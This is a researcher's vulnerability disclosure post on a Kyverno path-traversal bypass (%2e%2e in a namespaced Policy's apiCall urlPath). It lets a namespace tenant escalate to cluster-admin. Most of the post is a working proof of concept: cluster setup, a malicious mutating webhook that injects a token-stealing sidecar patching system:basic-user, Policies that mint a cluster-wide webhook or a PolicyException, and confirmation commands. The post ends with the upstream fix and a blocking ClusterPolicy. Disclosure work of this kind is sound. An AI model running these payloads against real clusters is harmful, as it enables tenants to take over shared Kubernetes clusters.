Incomplete fix of an incomplete fix: admin privilege escalation via Kyverno Policy
I found a vulnerability in Kyverno where a namespace tenant who can create a Policy can act as Kyverno’s admission-controller ServiceAccount anywhere in the cluster, escalating to cluster-admin. Parser differential type of bug: good old %2e%2e is invisible to the validation parser and gets decoded on action.
While I was writing the blogpost, I asked my Claude harness to double check for bypasses, and it just found one.
And this is beside the second vulnerability I reported 3 months ago, reading cluster-wide resources through a Policy. Still unfixed in the new version. So, yeah.
Until the patch, I will disclose only the publicly available bypass, not the bypass of the bypass.
On Kyverno
Kyverno is an admission policy engine for Kubernetes which I personally recommend. It has normal cluster-wide policy, and also has namespaced policy. Normally the security team blocks privileged workloads with cluster-wide policies and mutates away dangerous capabilities. Namespace-scoped policies are likely made to require labels and do image name validation.
One policy feature is dangerous in a tenant’s hands. It can send an authorized request into the k8s API server:
context:
- name: pods
apiCall:
urlPath: "/api/v1/namespaces/tenant-ns/pods"Auth is under the Kyverno ServiceAccount, which has a lot of admin access. Kyverno also lets apiCall use method: POST, so a policy can also create objects.
The bug
Let me start with the older vulnerability this grew out of, CVE-2026-22039. Back then a namespaced policy could POST a ClusterPolicy into existence cluster-wide, straight from one namespace:
rules:
- name: create-malicious-cpol
match:
resources:
kinds:
- ConfigMap
context:
- name: mutation
apiCall:
urlPath: "/apis/kyverno.io/v1/clusterpolicies"
method: POST
data:
- key: apiVersion
value: "kyverno.io/v1"
- key: kind
value: "ClusterPolicy"
- key: metadata
value:
name: "malicious-cpol"
- key: spec
value:
validationFailureAction: Enforce
rules:
- name: block-all
match:
resources:
kinds:
- Pod
validate:
message: "Blocked by malicious policy"
deny: {}The attempted fix was a check that the urlPath stays inside the tenant’s own namespace. Validation cleans the raw urlPath with path.Clean() and pulls the namespace out of the result with a regex:
cleanPath := path.Clean(call.APICall.URLPath) // does NOT URL-decode
// regex extracts the namespace segment from the cleaned string
if ns != a.policyNamespace {
return error
}path.Clean() collapses .. segments, but it does not URL-decode.
So to path.Clean, %2e%2e is an ordinary path segment and allowed to be passed.
Then execution sends the untouched string:
data, err := a.Execute(ctx, &call.APICall) // sends the RAW urlPathand client-go percent-decodes %2e%2e back to .., so the k8s API server resolves the traversal. The request that actually leaves the pod points at a completely different namespace than the one the clamp approved.
urlPath as written: /apis/.../namespaces/tenant-ns/%2e%2e/%2e%2e/mutatingwebhookconfigurations
what the clamp sees: /apis/.../namespaces/tenant-ns/%2e%2e/%2e%2e/mutatingwebhookconfigurations
→ namespace "tenant-ns", allowed
what the server gets: /apis/.../namespaces/tenant-ns/../../mutatingwebhookconfigurations
→ cluster-scoped collectionPoC
Cluster preparation (kind cluster, Kyverno, tenant RBAC)
kind create cluster --image kindest/node:v1.31.0 --name kyv-poc --kubeconfig ./kubeconfig
export KUBECONFIG=$PWD/kubeconfig
helm repo add kyverno https://kyverno.github.io/kyverno/
helm upgrade --install kyverno kyverno/kyverno --version 3.8.1 \
--namespace kyverno --create-namespace --wait
# the tenant: a ServiceAccount with edit in its own namespace and create/get on Policy
kubectl create namespace tenant-ns
kubectl -n tenant-ns create serviceaccount tenant-sa
kubectl -n tenant-ns create rolebinding tenant-edit --clusterrole=edit --serviceaccount=tenant-ns:tenant-sa
kubectl -n tenant-ns create role tenant-policy --verb=create,get --resource=policies.kyverno.io
kubectl -n tenant-ns create rolebinding tenant-policy --role=tenant-policy --serviceaccount=tenant-ns:tenant-sa
# mint the tenant's token into a kubeconfig that carries only that identity
SERVER=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')
CA=$(kubectl config view --minify --raw -o jsonpath='{.clusters[0].cluster.certificate-authority-data}')
TOKEN=$(kubectl -n tenant-ns create token tenant-sa --duration=24h)
cat > kubeconfig-tenant <<EOF
apiVersion: v1
kind: Config
clusters:
- name: kind
cluster:
server: ${SERVER}
certificate-authority-data: ${CA}
contexts:
- name: tenant
context:
cluster: kind
user: tenant
namespace: tenant-ns
current-context: tenant
users:
- name: tenant
user:
token: ${TOKEN}
EOFFrom here, --kubeconfig=./kubeconfig-tenant is the tenant.
Attack Path A: mint a cluster-wide MutatingWebhookConfiguration
The plan: use the clamp bypass to POST a MutatingWebhookConfiguration cluster-wide, pointed at a webhook the tenant runs. That webhook intercepts pod creation everywhere, including kube-system, and rewrites pods into a privileged-escalation gadget.
1. Create malicious webhook
Which intercepts pods labeled hijack: cac, swaps their ServiceAccount to clusterrole-aggregation-controller (which holds escalate on ClusterRoles), and injects a sidecar that patches the system:basic-user ClusterRole to grant */*/* to every authenticated user.
# webhook.py
import base64, json, ssl
from http.server import BaseHTTPRequestHandler, HTTPServer
SIDECAR = {
"name": "x", "image": "curlimages/curl:8.11.1",
"command": ["sh", "-c",
"T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token); "
"curl -sk -X PATCH -H \"Authorization: Bearer $T\" "
"-H \"Content-Type: application/json-patch+json\" "
"-d '[{\"op\":\"add\",\"path\":\"/rules/-\",\"value\":"
"{\"apiGroups\":[\"*\"],\"resources\":[\"*\"],\"verbs\":[\"*\"]}}]' "
"https://kubernetes.default.svc/apis/rbac.authorization.k8s.io/"
"v1/clusterroles/system:basic-user; sleep 3600"]
}
def patch_for():
ops = [
{"op": "replace", "path": "/spec/serviceAccountName",
"value": "clusterrole-aggregation-controller"},
{"op": "add", "path": "/spec/containers/-", "value": SIDECAR},
]
return base64.b64encode(json.dumps(ops).encode()).decode()
class Handler(BaseHTTPRequestHandler):
def do_POST(self):
body = json.loads(self.rfile.read(int(self.headers.get("Content-Length", 0))))
req = body.get("request", {})
labels = ((req.get("object", {}).get("metadata", {}) or {}).get("labels", {}) or {})
patch = patch_for() if labels.get("hijack") == "cac" else base64.b64encode(b"[]").decode()
resp = {
"apiVersion": "admission.k8s.io/v1",
"kind": "AdmissionReview",
"response": {"uid": req.get("uid", ""), "allowed": True,
"patchType": "JSONPatch", "patch": patch},
}
out = json.dumps(resp).encode()
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(out)))
self.end_headers()
self.wfile.write(out)
def log_message(self, *a): pass
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain("/tls/tls.crt", "/tls/tls.key")
s = HTTPServer(("0.0.0.0", 8443), Handler)
s.socket = ctx.wrap_socket(s.socket, server_side=True)
s.serve_forever()Self-sign a cert for the webhook Service DNS name and stage the source:
openssl req -x509 -newkey rsa:2048 -nodes -keyout tls.key -out tls.crt -days 2 \
-subj "/CN=attacker-webhook.tenant-ns.svc" \
-addext "subjectAltName=DNS:attacker-webhook.tenant-ns.svc"
CABUNDLE=$(base64 -w0 tls.crt)
kubectl --kubeconfig=./kubeconfig-tenant -n tenant-ns \
create secret tls attacker-webhook-tls --cert=tls.crt --key=tls.key
kubectl --kubeconfig=./kubeconfig-tenant -n tenant-ns \
create configmap webhook-src --from-file=webhook.pyDeploy the pod and Service:
apiVersion: v1
kind: Pod
metadata:
name: attacker-webhook
namespace: tenant-ns
labels:
app: attacker-webhook
spec:
restartPolicy: Never
containers:
- name: c
image: python:3.12-alpine
command: ["python", "/src/webhook.py"]
ports:
- containerPort: 8443
volumeMounts:
- name: tls
mountPath: /tls
- name: src
mountPath: /src
volumes:
- name: tls
secret:
secretName: attacker-webhook-tls
- name: src
configMap:
name: webhook-src
---
apiVersion: v1
kind: Service
metadata:
name: attacker-webhook
namespace: tenant-ns
spec:
selector:
app: attacker-webhook
ports:
- port: 443
targetPort: 8443kubectl --kubeconfig=./kubeconfig-tenant apply -f attacker-webhook.yaml
kubectl --kubeconfig=./kubeconfig-tenant -n tenant-ns \
wait --for=condition=Ready pod/attacker-webhook --timeout=120s2. Deploy the malicious Policy
Its apiCall POSTs a MutatingWebhookConfiguration (a cluster-scoped kind) through the clamp bypass. The urlPath reads as tenant-ns to the validator and resolves to the cluster-scoped collection on the wire.
kubectl --kubeconfig=./kubeconfig-tenant apply -f - <<EOF
apiVersion: kyverno.io/v1
kind: Policy
metadata:
name: webhook-mint
namespace: tenant-ns
spec:
validationFailureAction: Audit
background: false
rules:
- name: trigger-rule
match:
any:
- resources:
kinds: [ConfigMap]
context:
- name: created
apiCall:
method: POST
urlPath: "/apis/admissionregistration.k8s.io/v1/namespaces/tenant-ns/%2e%2e/%2e%2e/mutatingwebhookconfigurations"
data:
- key: apiVersion
value: "admissionregistration.k8s.io/v1"
- key: kind
value: "MutatingWebhookConfiguration"
- key: metadata
value:
name: "tenant-webhook-pwn"
- key: webhooks
value:
- name: "pwn.tenant.example.com"
admissionReviewVersions: ["v1"]
sideEffects: "None"
failurePolicy: "Ignore"
clientConfig:
service:
namespace: "tenant-ns"
name: "attacker-webhook"
path: "/mutate"
caBundle: "${CABUNDLE}"
rules:
- apiGroups: [""]
apiVersions: ["v1"]
operations: ["CREATE"]
resources: ["pods"]
validate:
message: "apiCall result: {{ created }}"
deny: {}
EOF
# any ConfigMap create in tenant-ns fires the rule and the apiCall
kubectl --kubeconfig=./kubeconfig-tenant -n tenant-ns create configmap trig2 --from-literal=x=y
# the webhook exists, and its field manager is kyverno, not the tenant
kubectl get mutatingwebhookconfiguration tenant-webhook-pwn \
-o jsonpath='{.metadata.managedFields[0].manager}'
# kyverno3. Trigger the webhook from a kube-system pod
This pod stands in for any kube-system pod the cluster spins up on its own; for this demo, create it manually as admin. The hijack: cac label just keeps the webhook to our demo pod (in reality you’d match wider or wait for a control-plane pod to restart). It gets rewritten by the tenant’s webhook:
apiVersion: v1
kind: Pod
metadata:
name: sys-workload
namespace: kube-system
labels:
hijack: "cac"
spec:
restartPolicy: Never
containers:
- name: main
image: curlimages/curl:8.11.1
command: ["sleep", "3600"]kubectl apply -f sys-workload.yaml
kubectl -n kube-system wait --for=condition=Ready pod/sys-workload --timeout=120sThe rewritten pod runs as clusterrole-aggregation-controller and its sidecar patches system:basic-user, so every authenticated user, the tenant included, is now cluster-admin.
4. Confirm
kubectl --kubeconfig=./kubeconfig-tenant auth can-i get secrets -n kube-system
# yep
kubectl --kubeconfig=./kubeconfig-tenant auth can-i create pod -n kube-system
# ahaAttack Path B: inject a PolicyException into the kyverno namespace
More stealthy approach, but will not work on every cluster out of the box.
PolicyException objects disable enforcing policies, and they only work when they live in a namespace the admins configured to allow them, which is likely kyverno itself. At least that is what I did on my clusters.
To show a policy getting disabled, I first stand one up. The classic one, blocking privileged containers:
curl -fsSL https://raw.githubusercontent.com/kyverno/policies/main/pod-security/baseline/disallow-privileged-containers/disallow-privileged-containers.yaml \
| sed 's/validationFailureAction: Audit/validationFailureAction: Enforce/' \
| kubectl apply -f -
kubectl wait --for=condition=Ready clusterpolicy/disallow-privileged-containers --timeout=60sNow the tenant injects a PolicyException into kyverno that exempts their own namespace:
apiVersion: kyverno.io/v1
kind: Policy
metadata:
name: exception-injector
namespace: tenant-ns
spec:
validationFailureAction: Audit
background: false
rules:
- name: trigger-rule
match:
any:
- resources:
kinds: [ConfigMap]
context:
- name: created
apiCall:
method: POST
urlPath: "/apis/kyverno.io/v2/namespaces/tenant-ns/%2e%2e/kyverno/policyexceptions"
data:
- key: apiVersion
value: "kyverno.io/v2"
- key: kind
value: "PolicyException"
- key: metadata
value:
name: "disable-disallow-privileged"
namespace: "kyverno"
- key: spec
value:
exceptions:
- policyName: "disallow-privileged-containers"
ruleNames: ["privileged-containers"]
match:
any:
- resources:
kinds: ["Pod"]
namespaces: ["tenant-ns"]
validate:
message: "apiCall result: {{ created }}"
deny: {}kubectl --kubeconfig=./kubeconfig-tenant apply -f exception-injector.yaml
kubectl --kubeconfig=./kubeconfig-tenant -n tenant-ns create configmap trig --from-literal=x=y
kubectl get policyexception -n kyverno disable-disallow-privileged \
-o jsonpath='{.metadata.managedFields[0].manager}'
# kyvernoWith the enforcing policy neutered for tenant-ns, the privileged pod the cluster was supposed to block now passes:
kubectl --kubeconfig=./kubeconfig-tenant -n tenant-ns run pwned-priv \
--image=busybox --privileged --restart=Never --command -- sleep 600
kubectl --kubeconfig=./kubeconfig-tenant -n tenant-ns get pod pwned-priv \
-o jsonpath='name={.metadata.name} privileged={.spec.containers[0].securityContext.privileged}'
# name=pwned-priv privileged=trueFrom a privileged pod you escape to the node, read the control-plane credentials, and you are cluster-admin.
The (incomplete) fix
Attempted fix in 1.19.1 (GHSA-5qq8-67g6-4h2w), commit 7ac176a. The patch decodes the path before cleaning it, so the check runs on the same string the API server will resolve:
unescapedPath, err := url.PathUnescape(call.APICall.URLPath)
if err != nil {
unescapedPath = call.APICall.URLPath
}
cleanPath := path.Clean(unescapedPath)url.PathUnescape turns %2e%2e back into .., path.Clean() collapses the traversal, and the existing namespace regex sees the real target.
That closes the %2e%2e bypass. But the patch only hardened validation, it is not a full fix.
Mitigation
I would want to say “upgrade to Kyverno 1.19.1 or later”, but no.
Do not allow creation of Policy with RBAC for non-admins, and/or block the kyverno namespaced policies with, … well, kyverno policy.
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: block-namespaced-kyverno-policies
spec:
webhookConfiguration:
timeoutSeconds: 30
failurePolicy: Fail
admission: true
background: false
rules:
- name: block-namespaced-policy
match:
any:
- resources:
kinds:
- kyverno.io/*/Policy
- policies.kyverno.io/*/NamespacedValidatingPolicy
- policies.kyverno.io/*/NamespacedMutatingPolicy
- policies.kyverno.io/*/NamespacedGeneratingPolicy
- policies.kyverno.io/*/NamespacedImageValidatingPolicy
- policies.kyverno.io/*/NamespacedDeletingPolicy
preconditions:
all:
- key: "{{ request.operation }}"
operator: AnyIn
value:
- CREATE
- UPDATE
validate:
failureAction: Enforce
message: "namespaced kyverno policy types are not permitted"
deny: {}